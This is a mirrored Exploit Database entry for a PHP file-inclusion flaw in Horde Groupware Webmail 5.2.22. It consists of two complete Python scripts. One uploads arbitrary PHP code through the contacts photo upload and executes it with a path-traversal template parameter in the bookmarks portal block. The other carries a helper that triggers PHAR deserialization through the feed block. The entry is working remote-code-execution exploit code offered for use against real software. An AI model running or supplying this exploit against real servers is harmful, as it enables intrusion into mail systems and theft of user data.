Horde Groupware Webmail Edition 5.2.22 – PHP File Inclusion

• Exploit Database
• 86 阅读

• 作者： Andrea Cardaci
  日期： 2020-03-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48209/

• ## exploit-inc-inclusion.py
  #!/usr/bin/env python3
  from horde import Horde
  import subprocess
  import sys
  
  TEMP_DIR = '/tmp'
  
  if len(sys.argv) < 5:
  print('Usage: <base_url> <username> <password> <filename> <php_code>')
  sys.exit(1)
  
  base_url = sys.argv[1]
  username = sys.argv[2]
  password = sys.argv[3]
  filename = sys.argv[4]
  php_code = sys.argv[5]
  
  # log into the web application
  horde = Horde(base_url, username, password)
  
  # upload (delete manually) and evaluate the .inc file
  horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
  horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
  ## exploit-inc-inclusion.py EOF
  
  
  
  ## horde.py
  import re
  import requests
  
  class Horde():
  def __init__(self, base_url, username, password):
  self.base_url = base_url
  self.username = username
  self.password = password
  self.session = requests.session()
  self.token = None
  self._login()
  
  def _login(self):
  url = '{}/login.php'.format(self.base_url)
  data = {
  'login_post': 1,
  'horde_user': self.username,
  'horde_pass': self.password
  }
  response = self.session.post(url, data=data)
  token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
  assert (
  len(response.history) == 1 and
  response.history[0].status_code == 302 and
  response.history[0].headers['location'] == '/services/portal/' and
  token_match
  ), 'Cannot log in'
  self.token = token_match.group(1)
  
  def upload_to_tmp(self, filename, data):
  url = '{}/turba/add.php'.format(self.base_url)
  files = {
  'object[photo][img][file]': (None, filename),
  'object[photo][new]': ('x', data)
  }
  response = self.session.post(url, files=files)
  assert response.status_code == 200, 'Cannot upload the file to tmp'
  
  def include_remote_inc_file(self, path):
  # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
  app = 'trean:trean_Block_Bookmarks'
  
  # add one dummy bookmark (to be sure)
  url = '{}/trean/add.php'.format(self.base_url)
  data = {
  'actionID': 'add_bookmark',
  'url': 'x'
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot add the bookmark'
  
  # add bookmark block
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  'token': self.token,
  'row': 0,
  'col': 0,
  'action': 'save-resume',
  'app': app,
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot add the bookmark block'
  
  # edit bookmark block
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  'token': self.token,
  'row': 0,
  'col': 0,
  'action': 'save',
  'app': app,
  'params[template]': '../../../../../../../../../../../' + path
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot edit the bookmark block'
  
  # evaluate the remote file
  url = '{}/services/portal/'.format(self.base_url)
  response = self.session.get(url)
  print(response.text)
  
  # remove the bookmark block so to not break the page
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  # XXX token not needed here
  'row': 0,
  'col': 0,
  'action': 'removeBlock'
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot reset the bookmark block'
  
  def trigger_phar(self, path):
  # vulnerable block (alternatively the same can be obtained by creating a
  # bookmark with the PHAR path and clocking on it)
  app = 'horde:horde_Block_Feed'
  
  # add syndicated feed block
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  'token': self.token,
  'row': 0,
  'col': 0,
  'action': 'save-resume',
  'app': app,
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot add the syndicated feed block'
  
  # edit syndicated feed block
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  'token': self.token,
  'row': 0,
  'col': 0,
  'action': 'save',
  'app': app,
  'params[uri]': 'phar://{}'.format(path)
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot edit the syndicated feed block'
  
  # load the PHAR archive
  url = '{}/services/portal/'.format(self.base_url)
  response = self.session.get(url)
  
  # remove the syndicated feed block so to not break the page
  url = '{}/services/portal/edit.php'.format(self.base_url)
  data = {
  # XXX token not needed here
  'row': 0,
  'col': 0,
  'action': 'removeBlock'
  }
  response = self.session.post(url, data=data)
  assert response.status_code == 200, 'Cannot reset the syndicated feed block'
  ## horde.py EOF
  

  Python

  Copy